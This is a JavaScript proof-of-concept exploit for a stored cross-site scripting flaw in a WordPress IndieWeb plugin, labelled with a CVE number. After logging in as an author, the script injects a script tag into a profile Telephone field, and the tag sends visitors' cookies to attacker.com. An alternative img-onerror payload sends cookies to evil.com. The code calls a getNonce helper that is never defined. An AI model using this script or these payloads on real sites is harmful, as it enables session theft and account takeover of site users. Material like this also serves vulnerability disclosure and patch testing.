CVE-2025-14893

// CVE-2025-14893 PoC - Stored XSS via Telephone parameter // Target: WordPress IndieWeb plugin <= 4.0.5 // Authentication required: Author role or higher const axios = require('axios'); const TARGET_URL = 'http://target-wordpress-site.com'; const USERNAME = 'attacker_username'; const PASSWORD = 'attacker_password'; async function exploit() { // Step 1: Login to WordPress const loginResponse = await axios.post(`${TARGET_URL}/wp-login.php`, { log: USERNAME, pwd: PASSWORD, rememberme: 'forever', redirect_to: '/wp-admin/' }, { maxRedirects: 0 }).catch(e => e.response); const cookies = loginResponse.headers['set-cookie']; if (!cookies) { console.log('Login failed'); return; } // Step 2: Inject XSS payload via IndieWeb plugin's Telephone field const xssPayload = '<script>fetch("https://attacker.com/steal?c="+document.cookie)</script>'; // Update profile with XSS in Telephone field await axios.post(`${TARGET_URL}/wp-admin/profile.php`, { telephone: xssPayload, action: 'update', _wpnonce: await getNonce(TARGET_URL, cookies) }, { headers: { Cookie: cookies.join('; ') } }); console.log('XSS payload injected successfully'); console.log('Payload will execute when profile page is viewed'); } // Alternative: XSS via shortcode or REST API const altPayload = '<img src=x onerror="fetch(\'https://evil.com/log?\'+document.cookie)">';

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